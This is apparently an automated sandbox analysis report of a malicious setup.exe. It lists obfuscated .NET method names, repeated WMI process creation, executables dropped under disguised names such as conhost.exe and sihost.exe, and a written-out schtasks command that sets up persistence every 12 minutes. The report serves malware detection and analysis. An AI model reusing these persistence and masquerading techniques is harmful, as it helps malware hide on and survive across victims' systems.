Source: 0.3.setup.exe.6e5552d.0.raw.unpack, PXDiQYHNfGwncQNkTJu.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'waTmDwlMr2', 'miJmUDCXDi', 'VYfmAGwncQ', 'IkTmNJuH1w', 'ReemLa93n3', 'pTEQkSjioycwQ2fdVXA', 'gkR895j2SbFLVTm6234', 'yyb9RajlTT29Va5l7Gv'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, xxNf8kHMMtydiwANQ2R.cs	High entropy of concatenated method names: 'C9Lfullelc', 'fW2fPwLxHB', 'ViyYUDhWw1LWldTp7Fi', 'toax8HhUIarnWQOfGEq', 'zVfK07htxTnPKrLGU2v', 'C1VXa8hw1RkyCgW3tW1', 'RPgJuih9Lr4HaCSHC4J', 'ueeap0hEaOviE4U7kJi', 'hoUi68h5gq5fBKQ8ywk', 'b0lv3ahgNDHHCXngANk'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, kbvOuxOdQ7mgA4wkEU8.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'XEFxtUgTnn', 'afmx3Jaq3n', 'nWcxxEfBQa', 'y4Fxgnasf1', 'L05xaSDGEi', 'QGoxRhcuYu', 'a8sFAJFeiqt0uFl6Hai'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, o74DfH2NhfUDqp5tRF4.cs	High entropy of concatenated method names: 'W2X2uQyd9P', 'VgfWvu2eK6AmgI3LrIB', 'AJalRh2fyOEBbutaXbb', 'WBEDmT2QFIBCQ2KLxY7', 'pBvHdh24bswdVmkhofk', 'tyEYXo2RwvELXZMyGYC', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, uW5BK72cOfbap6hqklt.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'oNse9sc5ZlhMOguUloo', 'dBUsvgcgf9NI7pcEFiM', 'eW6Uu9cZCSqb3rD5Gy3', 'yWQDbicxL4JeQFy9hCH', 'K0q9F2cSame73kCnXAg', 'gojA3Zc80fovLG2oGSh'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, YVytucBAMI0oaC2LO1.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'bNkrueLgc', 'ljeal63Qlw8KXnEWlLY', 'CmUkfR34bA4aDTDF0VD', 'NJpGkJ3e0qpTUxeG0eW', 'W1ZOvn3fgAmp9RwYKC3', 'PdstYC3RgGyOQChQUUV'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, zXqnJP2DhQHrlLhxb6k.cs	High entropy of concatenated method names: 'yqu2egYXG3', 'nFxpiX259NTF0VkjrcK', 'eQlm4Y2gAkA8XjnZ153', 'HDJ22M29j3ksOgtbFoQ', 'NL47ev2EfiIHNx67hfW', 'C0JukR2ZUt9ZFKCTL8o', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, kJKYscfleqMcvaIoTSq.cs	High entropy of concatenated method names: 'sg9', 'wKiNXBx2EZ', 'JoY1uLRZQD', 'l0lNM8kaCp', 'GmveKN97y02ik2DtKnJ', 'mrh0oh9kuorW0NghTRA', 'c8RvAU9sySZ9QEhgnHU', 'yPAve391AUl2of1f5kD', 'YT00nW9NNnBf0GrrpA2', 'G6qLlE9TCcsYE9XxqX9'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, NmsFsmheM7Pb9PpVk9n.cs	High entropy of concatenated method names: 'l3WWuedgB2', 'DBGWDYZU0p', 'B0NWUj2mtq', 'pRRWAs3vtE', 'pe5WNbZBhe', 'osvWLm6lrN', 'rTTWTgm0qq', 'BHnWwYTerx', 'MPXWlrj6rw', 'AbYWrSVABb'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Uf6bHnmIdXTU1NR7Dap.cs	High entropy of concatenated method names: 'N3lXoVLXVK', 'MHTXppIGkb', 'pdFXSM9glJ', 'GQhwfMeBK8X959NmqPr', 'Y0l9LaefPvVcFV19rya', 'MAdvnxeRgGIq5oBJqGZ', 'TeNIgoe0eLEvZFpjF2e', 'Sur0CgeFpgDjmKv4X2C', 'M1Q6gRep0nj9imUoZ8n', 'LjiFjjeXr157WtMdeyZ'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, l3xoVV2fuLKlPiEj3dH.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'mjntpLaIjgIAoXZQQA1', 'rHHnpKadwuVH4C3oYri', 'rUPPeNaAC6Ff5FZZIjB', 'Jr2URMayOmRAKCMfZNo', 'zo6Qjea6X9qFrCjNhRq', 'YhCoeAaQXwLUnOYFvng'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, cKp0fR2xkcxvcybpxtf.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'd9XE46cmqr10qCrKVfh', 'IyPScFcz3KS5PZQYaum', 'HbrUKUinTwAAnlopTeq', 'js8w2nio6d5L3nD7oDu', 'vU7aTUi3T9AbxuagHes', 'auEWeiiCtBB2ZuR5VUa'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, OK2axrOSPhTplxHVhhQ.cs	High entropy of concatenated method names: 'xugRksQJIy', '_1kO', '_9v4', '_294', 'GYxR9yeOl4', 'euj', 'WYyRXpwFS8', 'pFORtvUFt4', 'o87', 'eZ6R3CuZtK'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, TvwniidJMM79iPAZop.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'P9PTuHKqp', 'qcvvTO3WoFrSfpVqK00', 'd5gj8b3UadYgsr4DwbC', 'NrH1y33tnw2R9nQMw1L', 'rtVbtk3wtIsXiQaqjMH', 'COKvOS39L3rX0xx1rpO'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, RcQaUSfFHh8WWSqBM9j.cs	High entropy of concatenated method names: '_223', 'DHY2qxtjBpWePZ9brCj', 'kCMHn1tbxlguWaQls4R', 'kPDREgtWMGxILjdmZUc', 'bJo4n8tUFWje3om58lY', 'T1DmdlttHYTpHGtFOmL', 'ge2T7atwRbWxnrg1QlW', 'cp9kd2t9HilLTTH2wbt', 'Rg33yJtEnIjKXvKfiSr', 'dFxnpht5lBpHxm4El1I'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, GuqBLk29hrgBJuREweW.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'fMp6dKcQPBDvfUUWouv', 'uhW7E3c4lLwP2QGdPQO', 'hms9jocem1vy1cejfIh', 'vhJepccfVpOx3kDW7ic', 'NLrHHUcR1eqYVvtHmRL', 'jElgyucBJLWhHRxy9VW'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, G82KEahbmcgXRosbPf6.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, h8LrZpH1ycWYfObeUph.cs	High entropy of concatenated method names: 'EUnfGBtnBT', 'rnifBfyH7B', 'akafD9HTJ3', 'idMfUVWsmj', 'iscfA9mmro', 'juufNB39ut', 'pbafLhE5Zu', 'nKHRPuV5LsIjmZkdmum', 'SRX8U8V98nlwlUwEouk', 'x8n1a1VEPZ7cMC0SPym'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, e0pXhdUdKPnVUX2H7E.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'AaQmIS3ucKRFuA3CSb3', 'wIpEpg3mvoupBbEqdgn', 'De635h3zjh6nsVWe2Q7', 'EuWtD2CnsUBaRRgvfGH', 'cGtJdICoHZAWEFKOwJN', 'CsjLedC3rdGy1S0i1kG'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, D3wavkfQCexPoKnN6BR.cs	High entropy of concatenated method names: 'Yxi0tY5ekW5PX9qWntl', 'QjTYiW5f9E3KXSfXIqK', 'a4DbvK5QnTlWVuPrcuY', 'XSkFKk544cWhv3fveKY', 'IWF', 'j72', 'OZJJMLbunV', 'v7VJvOEHl8', 'j4z', 'N4UJs6N0NY'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, d026YmHaraTlsWvcl8n.cs	High entropy of concatenated method names: 'k0qhuFJtrw', 'jibhPrTdGF', 'vU4hzwpUc3', 'AVfm0lZCTV', 't7Im2Qx2jG', 'gw7mHfjNkk', 'bjomf2Ol43', 'RhWmhDnhRe', 'GctmmOOchL', 'HagABmJOTRyXqOHWOjs'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Dfg8rUH0Yucei2sv8d2.cs	High entropy of concatenated method names: 'xccHt7MDF1', 'cFBH3n4Klh', 'opJHxZns0j', 'uVStcBqyGkjFy2fj9rG', 'jGEu6wq61o6ZWLxBXqL', 'B6iBBuqQkZ71WDocMMQ', 'mgwd6cq4PN70AXMs6Da', 'tu6fwqqeSbMmtZRDj7x', 'N7OuWWqf9rCyKjaJRU1', 'f5yutSqdGsrSbbIdH8T'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, gkrqc6fcRqt2IB7DGkP.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'Kk3o5O9VVpmKlKFSiSR', 'O8xVNE9hW9CeyW7g2bJ', 'ECypuw9r5VsZeuGku3A', 'JRPQ949Jfsxute39SIW'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, IbYE3Dfey6C0QRYYwn7.cs	High entropy of concatenated method names: '_269', '_5E7', 'FZeNOp9eSk', 'Mz8', 'KikNfdh0kZ', 'qMo6W7ETybojofv22Mg', 'FNbCMMELFhN4lmZUUPH', 'wUUHmqED2Y2jOSkOmFY', 'Qh3ZmQEOBDdlG64cQY8', 'zAFET4EKp9IQbvtDFL7'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, oQXOfsh1GBDWP53bgdR.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Rr4X5J2i0tpvY5athqs.cs	High entropy of concatenated method names: 'iF52RUSLX1', 'WDidlhcjanaDGGVymCQ', 'J619bBcbmBcM9YOsq0r', 'L3HdsPcJLtoiM6IDodi', 'v2utyvcPqgrhlcQLM3i', 'BOOya7cWIOB09NdwdIX', 'jWlEgIcUxcOge1292g4', 'LWIxBvctFKFp8C3B5K1', 'SccVb7cwpUxgEssGj6x', 'f28'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, prrrREOar01ZrTN85q6.cs	High entropy of concatenated method names: 'dR2x118CGA', 'MpmxJUlpeb', 'RWIxbeY7Z0', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'FJ6xZlggJN'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, KqWHVFHTrMbpbwPWrAv.cs	High entropy of concatenated method names: 'z03OVbQL8Z', 'RbnO14cn4q', 'S7c2sfjOwAxH2BC6cFh', 'BRROdZjKIaMFs9kA0lS', 'oi9eIJjLqqNliip4ZmH', 'IIC12YjDqVppX13Sg9S', 'R0uOMwGKSI', 'dnMuVebnrhCGAqNRLUC', 'c94pI7bolOn6n6fvu2M', 'M9ad3ojm6D41TgeEaMN'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, dwHoH8f6Z0QXrX8yG6f.cs	High entropy of concatenated method names: 'BSXVpf3GDS', 'qJTVSuf20y', 'd9UV482KEa', 'ptS2YLt1Jr0vZt0OSoM', 'ScysP0tNiU0ZPFBH6fb', 'eCbckgt7tLoIr0ZExeF', 'hsZtxZtkkaiVyi0iihA', 'wOejWQtsfDDUD8nUb1T', 'Nj9MhqtTjioHeeECbFU', 'f11aRwtLYwLSvIL4tHs'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, vLRQRnHWWvCrl8jP7Fc.cs	High entropy of concatenated method names: 'bqOfQ4XqlZ', 'S1QAWrhC63PpfVpDeIb', 'ut2kjihGX7C4p9vUsjM', 'RKI3VOhonwVjvo08vUR', 'hXIIKWh3ThJSETcQG8t', 'PjfvT5hYF7mN6WwBP5E', 'v1dpVEhakqOp2QK1bvE', 'pQD4ubhlRTVqHAxK1Ef', 'bkpBI6hcYAhb5a6DpHE', 'r4xXArhi41t0ouvSr83'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, d1Npw0fiNuU81sXUKa9.cs	High entropy of concatenated method names: 'Glx18eh7Hy', 't6V16Cly8A', 'g9b1MvE0vO', 'agDjoRwpGsn8ungdLAU', 'eKMX6nw0MjlKZOvDUKp', 'xVTWjBwFrUvI8FQ1m62', 'BVQHhSwXSMYYI9L3HGJ', 'LfL1O1FMpL', 'oFH1Y9gARe', 'Ged1VhN31d'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Pmx5jJYt808kbxl33Dm.cs	High entropy of concatenated method names: 'agJdXOfEHZ', 'x8fdtSVFqv', 'ilud3B6d1P', 'SOydxTO6Hx', 'a8idgP5Erh', 'LfkdaSlE6W', 'RBPdRtpMPF', 'ROmdImxWi1', 'sCXddUTvZ3', 'zkZdGA5UQn'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	High entropy of concatenated method names: 'f13uOn1ZofGwl33h7G6', 'r35AFY1xvmwAR4V5qse', 'y7Hl1B15yGBnqMpuKUn', 'BDbv1l1go7w7xwyGuck', 'NnBdWh1nSK', 'oAa79K1IN2LcuKvUNx6', 'cnPODv1dGWje6FegnAw', 'Ua0HeF1AYuEuI0KQHsw', 'klcdcn1ypiU4bxEwOYK', 'OurKTN162eCtoXttdPZ'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, YuegPVO00D0UlCvpvck.cs	High entropy of concatenated method names: 'Kultnpn8FT', 'sXBtCDeBhq', 'Rw0toZ58xP', 'XvrtpwvOub', 'ughtS0Dlm4', 'u6wt4nmQfs', '_838', 'vVb', 'g24', '_9oL'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, CXBPxDf44fCwJYb75hy.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'aGDJbk1N64', 'mT2NAysY6x', 'LprJZXgYGH', 'RjBNuu34xG', 'lPi2TCEfCBA0EeX2Lh8', 'p9CRkVERdEvyxhp7TrD', 'icun7eE4ADJxWCkKJRL'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, nbpuiJfJhwV2392L1Jb.cs	High entropy of concatenated method names: 'LGsVBG2cq8', 'btqVDiWpig', 'S0PVUQexTm', 'R61EAYthO4Qq2eDPuAK', 'hU26mItvjBH2DIQDvUs', 'BCjqvetV9tLb1sqFn1o', 'F3eMCDtrJrnu36VI5HS', 'P0QV8RYYwn', 'NLdV6o5V5I', 'LwaVMwxJE0'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, nTun1c2vmWOObMmYrbK.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'cwTgRVcnbjqa3M3elIY', 'bJG3Igco1i7uIZ5YEf4', 'L3CZjoc3gLM6WxVkB1t', 'TOugcncCMYcBNoE2RoP', 'hao8RBcG58WpeuJFakb', 'W3V1dqcYqun8Tqtrpqq'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, cYwpsCHsjEshE97S7Hh.cs	High entropy of concatenated method names: 'q5AfzYXTgb', 'VNRh0ZuIoI', 'Pe6h2wvG6U', 'gGghH9pZrs', 'k6Ahf46UBr', 'LOxhhf5Ee3', 'F0PhmRl63G', 'K3whO1ilp3', 'pBZhYmyVDo', 'xbNhVnP6D3'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, wE5Fs7mac0XaWQKTy8s.cs	High entropy of concatenated method names: 'PSuX7dBTi8', 'khRXnm6isG', 'IqSXC95oou', 'Pef0eceQM41Grx4DUg1', 'DbutcJeygtXCifgHfw5', 'uVh3AMe6NM3S7BKU7LO', 'HYrmUoe4xjFEUyuVDhx', 'uW7D28eehZFlN5viVQx'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, TYjaPn41ET0T1IWALU.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'EdNXTTYrrbx6Ka3XLqY', 'vB0OidYJKoVk8P64XUV', 'v0EXnOYPv424JjL4htj', 'brF0ElYjZNFSwFhDUur', 'Qg43UmYbNYB9trZVl2V', 'mgEK0eYWdXiQsOd9cx5'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Iny05POOWxP55wFyejR.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, IikoOS26SydjVb6KprG.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'VlVeNRlLlVMKnTcV4rg', 'AJMjbRlDb7r2C8PcPwX', 'ifVSxYlOYsBvlXPrDM1', 'TOAQHIlKmUd8caKpcie', 'vyr0wWlH3LmyBC9PRJr', 'auUZF9lu7NGlSA2qKJS'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, gS3UujpcMlK6QTsEIu.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'H5THYlYaTPEvDZRRZxj', 'SnVKANYlyUIKrZuBl6K', 'TmBg1KYc1RYdlZY5rV9', 'gbaur2Yi1J3psrppDav', 'xvgCEYY2xv1t1SqWCvM', 'abCDJqYMdR2DmOp8jGw'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, xD54F4OtJDRTCYkyKpS.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, OIUTXQf7jaPD2LMPEbt.cs	High entropy of concatenated method names: '_5u9', 'WJJNpAKAdk', 'xTxJ01sECG', 'wiENrg5c4H', 'obxenF9HcFtWDsmUhCS', 'sTPL3j9u4mT3EAsYJVE', 'RcvksW9mqTg3sSrQQQQ', 'RGrov99O7FBQYuCCLds', 'WMXAC49Kiaoxoa8yEUx', 'iDn4IU9zKIF5eM3L9yn'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, B7NKCxOH2INLjpledVt.cs	High entropy of concatenated method names: 'sy53VDw7Rw', 'TWm31Cq5CI', '_8r1', 'Tny3J9SWI0', 'wNM3bUxrmk', 'h4J3Zppb6V', 'qHI3FT2Tun', 'DUfI7WBJuZXH0nNIMaR', 'KsTahxBPF35PwaU92P5', 'yIGSVoBjHsglbqkdbNu'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, MUBBjG2pPmGctRRscch.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'gyr4nhMtIWXnrpWsyIA', 'zafAZKMwRnKVVWp63sC', 'fdfTCmM9DQrsTBvEvls', 'VTmTdxMEplMya71xE4c', 'Ti89CgM5G85qsRJ8QWc', 'BVvIw8MgJQYAFWlDe3o'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refBrokerDhcp\msbrowser.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executable to a common third party application directory

Source: C:\refBrokerDhcp\msbrowser.exe

File written: C:\Program Files\Adobe\conhost.exe

Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe	Jump to dropped file
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\sk\oPmKvuejiIKwwErUS.exe (copy)	Jump to dropped file
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Recovery\oPmKvuejiIKwwErUS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\refBrokerDhcp\msbrowser.exe	Jump to dropped file
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Users\user\sihost.exe	Jump to dropped file
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Jump to dropped file

Source: C:\refBrokerDhcp\msbrowser.exe

File created: C:\Users\user\sihost.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\refBrokerDhcp\msbrowser.exe

File created: C:\Users\user\sihost.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\refBrokerDhcp\msbrowser.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /f

Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
